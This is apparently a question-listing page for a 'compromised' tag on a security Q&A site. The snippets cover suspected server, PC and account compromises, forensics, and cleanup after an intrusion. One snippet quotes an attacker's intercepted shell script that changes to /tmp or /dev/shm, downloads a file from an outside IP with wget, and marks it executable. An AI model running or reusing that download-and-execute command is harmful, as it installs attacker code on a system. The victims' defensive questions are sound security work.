The tag has no wiki summary.

learn more… | top users | synonyms

0
votes
2answers
115 views

Is possible to be hacked remotely?

I little bit afraid about remote hacking, since i'm using a windows 7.i see what a hacker can do if he exploit the Dcom vulnerability in windows XP. But is this sort of exploits exist on windows 7 or ...
1
vote
1answer
34 views

OS (or platform) agnostic metrics to understand if a system is compromised?

For Windows-based systems, I have seen that changes to the Registry or System Directories are some of the things which are used to track if a machine has been compromised. Similar things must exist ...
0
votes
1answer
156 views

How compromised should I assume my computer is?

I had turned ssh on a while ago to do some remote work, and didn't turn it off (yes, I'm an idiot). I was just looking over some netstat info when I noticed someone had established an ssh session with ...
-1
votes
1answer
98 views

Hash leaked online

Recently I Googled the email address of one of my friends, as I was just curious of what would come up. Lo and behold, he saw what presumably is his Gmail hash. It is part of a list of 10,170 email ...
27
votes
4answers
4k views

A tiny version of wget (51 bytes?)

On this ISC article on DVR compromise the author talks about the compromise of an embedded system. In particular, the attacker executes a series of echo commands on the remote host, and: This DVR ...
1
vote
1answer
278 views

Digital Ocean “Droplet” allgedly compromised for trivial, unpublicized website. Should I be worried abouty my own machine?

I got a message from D.O. about my Droplet saying they shut it down because there was a lot of outgoing traffic that looked like an attack. The site I had on that server was not very known at all. ...
7
votes
3answers
126 views

Server Infection: post-cleanup best practices

I've read through How do I deal with a compromised server? and have followed the steps to cleaning-up/mitigating any future damage. I'm just wondering if there are any post-clean up steps that are ...
11
votes
3answers
949 views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
7
votes
5answers
1k views

Forensic research: What OS to use [closed]

I have been given an assignment from my school, in wich I have been given a Virtual image of a compromised system. The first thing I need to do is setup a environment to wich we can mount the image. I ...
2
votes
2answers
435 views

Is my computer trying to download something malicious from Dropbox?

My wife's computer was recently compromised and I have tried to clean it. I installed Microsoft Network Monitor to see if there was any unexplained internet traffic and I noticed a connection to ...
2
votes
1answer
226 views

For remotely unlocking LUKS volumes via SSH, how can I verify integrity before sending passphrase?

Although this is closely related to the recently closed question Evil maids in the server room [closed], I believe that it's more answerable. I'd like to unlock LUKS volumes on remotely hosted ...
0
votes
1answer
171 views

Have there been any instances of malware in custom ROMs for Android?

Have there been any instances of malware or spyware packaged in custom ROMs, for example a malicious email app pre-installed that records your server IMAP username and password and forwards it to a ...
-1
votes
1answer
558 views

Afraid about SSH on my Linux system

I've checked my Linux server (Centos 6) with rkhunter. I found the following in rkhunter log [14:38:54] Checking if SSH protocol v1 is allowed [ Warning ] [14:38:54] Warning: The SSH ...
-2
votes
5answers
626 views

Google Calendar has events that I didn't create and it's not shared

This has been rewritten because at first I thought this may be an accident but now it’s clear there’s a security compromise. In my Google Calendar I noticed an event that occurred each day from ...
6
votes
2answers
283 views

What does “Change your password everywhere else” e-mail from compromised service mean?

I've recieved an e-mail from ubuntuforums.org a couple of hours ago: [...] the attacker has gained access to read your username, email address and an encrypted copy of your password from the forum ...
31
votes
4answers
2k views

How do I deal with a compromised server?

I suspect that one or more of my servers is compromised by a hacker, virus, or other mechanism: What are my first steps? When I arrive on site should I disconnect the server, preserve "evidence", ...